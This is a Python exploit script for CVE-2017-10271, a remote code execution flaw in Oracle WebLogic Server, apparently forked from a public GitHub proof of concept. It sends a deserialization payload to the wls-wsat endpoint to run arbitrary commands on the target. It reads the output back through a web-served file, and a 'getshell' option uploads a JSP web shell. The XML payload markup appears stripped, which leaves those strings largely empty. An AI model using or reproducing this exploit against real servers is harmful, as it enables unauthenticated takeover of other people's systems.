#!/usr/bin/env python #coding:utf-8 import requests import argparse import time import base64 ''' forked from https://github.com/s3xy/CVE-2017-10271 Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server Modified by hanc00l ''' proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} headers = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'} timeout = 5 ''' payload的格式化 ''' def payload_command(command_in, output_file, os): html_escape_table = { "&": "&", '"': """, "'": "'", ">": ">", "<": "<", } #命令执行回显:将命令执行的结果输出到文件中 #command_in_payload = 'find . -name index.html| while read path_file;do {} >$(dirname $path_file)/{};done'.format(command_in,output_file) command_in_payload = '{} > ./servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{}'.format(command_in,output_file) command_filtered = ""+"".join(html_escape_table.get(c, c) for c in command_in_payload)+"" #XMLDecoder反序列化payload: cmd_app = '/bin/sh' if os == 'linux' else 'cmd.exe' cmd_param = '-c' if os == 'linux' else '/c' payload_1 = " \n" \ " " \ " \n" \ " \n" \ " \n" \ " " \ " " \ " {} " \ " " \ " " \ " {} " \ " " \ " ".format(cmd_app,cmd_param) \ + command_filtered + \ " " \ " " \ " " \ " " \ " " \ " " \ " " \ " " \ "" return payload_1 ''' 得到命令执行的回显结果 ''' def get_output(target,output_file): if not target.startswith('http'): target = 'http://{}'.format(target) #url增加时间戳避免数据是上一次的结果缓存 output_url = '{}/bea_wls_internal/{}?{}'.format(target, output_file, int(time.time())) try: r = requests.get(output_url, headers=headers, proxies=proxies, timeout=timeout, verify=False) if r.status_code == requests.codes.ok: return (True,(r.text.strip())) elif r.status_code == 404: return (False,'404 no output') else: return (False,r.status_code) except Exception,ex: #raise return (False,str(ex)) ''' RCE ''' def weblogic_rce(target,cmd,output_file,os='linux'): if not target.startswith('http'): target = 'http://{}'.format(target) url = '{}/wls-wsat/CoordinatorPortType'.format(target) #content-type必须为text/xml payload_header = {'content-type': 'text/xml','User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'} msg = '' try: r = requests.post(url, payload_command(cmd, output_file, os), headers=payload_header, verify=False, timeout=timeout, proxies=proxies) #500时说明已成功反序列化执行命令 if r.status_code == 500: #delay一下,保证命令执行完整性: time.sleep(1) return get_output(target,output_file) elif r.status_code == 404: return (False,'404 no vulnerability') else: return (False,'{} something went wrong'.format(r.status_code)) except requests.exceptions.ReadTimeout: return (False,'timeout') except Exception,ex: #raise return (False,str(ex)) ''' getshell ''' def weblogic_getshell(target,output_file,shell_file,os='linux'): if not target.startswith('http'): target = 'http://{}'.format(target) with open(shell_file) as f: cmd = 'echo {}|base64 -d'.format(base64.b64encode(f.read())) status,result = weblogic_rce(target, cmd, output_file, os) if status: print '[+]shell-> {}/bea_wls_internal/{}'.format(target, output_file) return (status,result) ''' main ''' def main(): global proxies parse = argparse.ArgumentParser() parse.add_argument('-t', '--target',required=True, help='weblogic ip and port(eg -> 172.16.80.131:7001 or https://172.16.80.131)') parse.add_argument('-c', '--cmd', required=False,default='id', help='command to execute,default is "id"') parse.add_argument('-o', '--output', required=False,default='output.txt', help='output file name,default is output.txt') parse.add_argument('-s', '--shell', required = False,default='',help='local jsp file name to upload,and set -o xxx.jsp') parse.add_argument('--os',choices=['linux','win'],default='linux',help='host os:linux or win,default is linux') parse.add_argument('--proxy', action = 'store_true',default=False,help='use proxy') args = parse.parse_args() #是否使用proxy if not args.proxy: proxies = None if args.shell!='': status,result = weblogic_getshell(args.target,args.output,args.shell,args.os) else: status,result = weblogic_rce(args.target,args.cmd,args.output,args.os) #output result: if status: print result else: print '[-]FAIL:{}'.format(result) if __name__ == '__main__': main()